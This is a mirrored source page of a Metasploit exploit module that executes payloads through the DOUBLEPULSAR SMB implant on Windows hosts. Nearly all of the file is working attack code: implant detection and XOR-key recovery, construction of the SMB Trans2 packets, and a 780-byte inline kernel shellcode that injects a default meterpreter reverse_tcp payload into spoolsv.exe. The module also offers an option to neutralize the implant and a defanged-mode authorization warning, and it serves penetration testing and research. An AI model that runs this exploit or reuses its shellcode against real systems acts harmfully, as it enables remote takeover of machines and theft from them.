Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_doublepulsar_rce.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Module::Deprecated
12
13
moved_from 'exploit/windows/smb/doublepulsar_rce'
14
15
MAX_SHELLCODE_SIZE = 4096
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',
22
'Description' => %q{
23
This module executes a Metasploit payload against the Equation Group's
24
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
25
26
While this module primarily performs code execution against the implant,
27
the "Neutralize implant" target allows you to disable the implant.
28
},
29
'Author' => [
30
'Equation Group', # DOUBLEPULSAR implant
31
'Shadow Brokers', # Equation Group dump
32
'zerosum0x0', # DOPU analysis and detection
33
'Luke Jennings', # DOPU analysis and detection
34
'wvu', # Metasploit module and arch detection
35
'Jacob Robles' # Metasploit module and RCE help
36
],
37
'References' => [
38
['MSB', 'MS17-010'],
39
['CVE', '2017-0143'],
40
['CVE', '2017-0144'],
41
['CVE', '2017-0145'],
42
['CVE', '2017-0146'],
43
['CVE', '2017-0147'],
44
['CVE', '2017-0148'],
45
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
46
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
47
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
48
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
49
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
50
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
51
],
52
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
53
'License' => MSF_LICENSE,
54
'Platform' => 'win',
55
'Arch' => ARCH_X64,
56
'Privileged' => true,
57
'Payload' => {
58
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
59
'DisableNops' => true
60
},
61
'Targets' => [
62
[
63
'Execute payload (x64)',
64
'DefaultOptions' => {
65
'EXITFUNC' => 'thread',
66
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
67
}
68
],
69
[
70
'Neutralize implant',
71
'DefaultOptions' => {
72
'PAYLOAD' => nil # XXX: "Unset" generic payload
73
}
74
]
75
],
76
'DefaultTarget' => 0,
77
'Notes' => {
78
'AKA' => ['DOUBLEPULSAR'],
79
'RelatedModules' => [
80
'auxiliary/scanner/smb/smb_ms17_010',
81
'exploit/windows/smb/ms17_010_eternalblue'
82
],
83
'Stability' => [CRASH_OS_DOWN],
84
'Reliability' => [REPEATABLE_SESSION],
85
'SideEffects' => []
86
}
87
)
88
)
89
90
register_advanced_options([
91
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
92
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
93
])
94
deregister_options('SMB::ProtocolVersion')
95
end
96
97
OPCODES = {
98
ping: 0x23,
99
exec: 0xc8,
100
kill: 0x77
101
}.freeze
102
103
STATUS_CODES = {
104
not_detected: 0x00,
105
success: 0x10,
106
invalid_params: 0x20,
107
alloc_failure: 0x30
108
}.freeze
109
110
def calculate_doublepulsar_status(m1, m2)
111
STATUS_CODES.key(m2.to_i - m1.to_i)
112
end
113
114
# algorithm to calculate the XOR Key for DoublePulsar knocks
115
def calculate_doublepulsar_xor_key(s)
116
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
117
x & 0xffffffff # this line was added just to truncate to 32 bits
118
end
119
120
# The arch is adjacent to the XOR key in the SMB signature
121
def calculate_doublepulsar_arch(s)
122
s == 0 ? ARCH_X86 : ARCH_X64
123
end
124
125
def generate_doublepulsar_timeout(op)
126
k = SecureRandom.random_bytes(4).unpack1('V')
127
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
128
end
129
130
def generate_doublepulsar_param(op, body)
131
case OPCODES.key(op)
132
when :ping, :kill
133
"\x00" * 12
134
when :exec
135
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
136
end
137
end
138
139
def check
140
ipc_share = "\\\\#{rhost}\\IPC$"
141
142
@tree_id = do_smb_setup_tree(ipc_share)
143
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
144
vprint_status("Target OS is #{smb_peer_os}")
145
146
print_status('Sending ping to DOUBLEPULSAR')
147
code, signature1, signature2 = do_smb_doublepulsar_pkt
148
msg = 'Host is likely INFECTED with DoublePulsar!'
149
150
case calculate_doublepulsar_status(@multiplex_id, code)
151
when :success
152
@xor_key = calculate_doublepulsar_xor_key(signature1)
153
@arch = calculate_doublepulsar_arch(signature2)
154
155
arch_str =
156
case @arch
157
when ARCH_X86
158
'x86 (32-bit)'
159
when ARCH_X64
160
'x64 (64-bit)'
161
end
162
163
print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
164
CheckCode::Vulnerable
165
when :not_detected
166
print_error('DOUBLEPULSAR not detected or disabled')
167
CheckCode::Safe
168
else
169
print_error('An unknown error occurred')
170
CheckCode::Unknown
171
end
172
end
173
174
def exploit
175
if datastore['DefangedMode']
176
warning = <<~EOF
177
178
179
Are you SURE you want to execute code against a nation-state implant?
180
You MAY contaminate forensic evidence if there is an investigation.
181
182
Disable the DefangedMode option if you have authorization to proceed.
183
EOF
184
185
fail_with(Failure::BadConfig, warning)
186
end
187
188
# No ForceExploit because @tree_id and @xor_key are required
189
unless check == CheckCode::Vulnerable
190
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
191
end
192
193
case target.name
194
when 'Execute payload (x64)'
195
unless @xor_key
196
fail_with(Failure::NotFound, 'XOR key not found')
197
end
198
199
if @arch == ARCH_X86
200
fail_with(Failure::NoTarget, 'x86 is not a supported target')
201
end
202
203
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
204
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
205
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
206
vprint_status("Total shellcode length: #{shellcode.length} bytes")
207
208
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
209
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
210
211
print_status('Sending shellcode to DOUBLEPULSAR')
212
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
213
when 'Neutralize implant'
214
return neutralize_implant
215
end
216
217
case calculate_doublepulsar_status(@multiplex_id, code)
218
when :success
219
print_good('Payload execution successful')
220
when :invalid_params
221
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
222
when :alloc_failure
223
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
224
else
225
fail_with(Failure::Unknown, 'An unknown error occurred')
226
end
227
ensure
228
disconnect
229
end
230
231
def neutralize_implant
232
print_status('Neutralizing DOUBLEPULSAR')
233
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
234
235
case calculate_doublepulsar_status(@multiplex_id, code)
236
when :success
237
print_good('Implant neutralization successful')
238
else
239
fail_with(Failure::Unknown, 'An unknown error occurred')
240
end
241
end
242
243
def do_smb_setup_tree(ipc_share)
244
connect(versions: [1])
245
246
# logon as user \
247
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
248
249
# connect to IPC$
250
simple.connect(ipc_share)
251
252
# return tree
253
simple.shares[ipc_share]
254
end
255
256
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
257
# make doublepulsar knock
258
pkt = make_smb_trans2_doublepulsar(opcode, body)
259
260
sock.put(pkt)
261
bytes = sock.get_once
262
263
return unless bytes
264
265
# convert packet to response struct
266
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
267
pkt.from_s(bytes[4..-1])
268
269
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
270
end
271
272
def make_smb_trans2_doublepulsar(opcode, body)
273
setup_count = 1
274
setup_data = [0x000e].pack('v')
275
276
param = generate_doublepulsar_param(opcode, body)
277
data = param + body.to_s
278
279
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
280
simple.client.smb_defaults(pkt['Payload']['SMB'])
281
282
base_offset = pkt.to_s.length + (setup_count * 2) - 4
283
param_offset = base_offset
284
data_offset = param_offset + param.length
285
286
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
287
pkt['Payload']['SMB'].v['Flags1'] = 0x18
288
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
289
290
@multiplex_id = rand(0xffff)
291
292
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
293
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
294
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
295
296
pkt['Payload'].v['ParamCountTotal'] = param.length
297
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
298
pkt['Payload'].v['ParamCountMax'] = 1
299
pkt['Payload'].v['DataCountMax'] = 0
300
pkt['Payload'].v['ParamCount'] = param.length
301
pkt['Payload'].v['ParamOffset'] = param_offset
302
pkt['Payload'].v['DataCount'] = body.to_s.length
303
pkt['Payload'].v['DataOffset'] = data_offset
304
pkt['Payload'].v['SetupCount'] = setup_count
305
pkt['Payload'].v['SetupData'] = setup_data
306
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
307
pkt['Payload'].v['Payload'] = data
308
309
pkt.to_s
310
end
311
312
# ring3 = user mode encoded payload
313
# proc_name = process to inject APC into
314
def make_kernel_user_payload(ring3, proc_name)
315
sc = make_kernel_shellcode(proc_name)
316
317
sc << [ring3.length].pack('S<')
318
sc << ring3
319
320
sc
321
end
322
323
def generate_process_hash(process)
324
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
325
proc_hash = 0
326
process << "\x00"
327
328
process.each_byte do |c|
329
proc_hash = ror(proc_hash, 13)
330
proc_hash += c
331
end
332
333
[proc_hash].pack('l<')
334
end
335
336
def ror(dword, bits)
337
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
338
end
339
340
def make_kernel_shellcode(proc_name)
341
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
342
# Length: 780 bytes
343
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
344
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
345
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
346
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
347
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
348
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
349
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
350
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
351
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
352
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
353
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
354
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
355
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
356
generate_process_hash(proc_name.upcase) +
357
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
358
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
359
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
360
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
361
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
362
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
363
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
364
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
365
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
366
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
367
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
368
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
369
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
370
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
371
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
372
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
373
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
374
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
375
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
376
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
377
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
378
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
379
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
380
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
381
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
382
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
383
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
384
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
385
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
386
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
387
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
388
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
389
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
390
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
391
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
392
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
393
end
394
395
def kernel_shellcode_size
396
make_kernel_shellcode('').length
397
end
398
399
end
400
401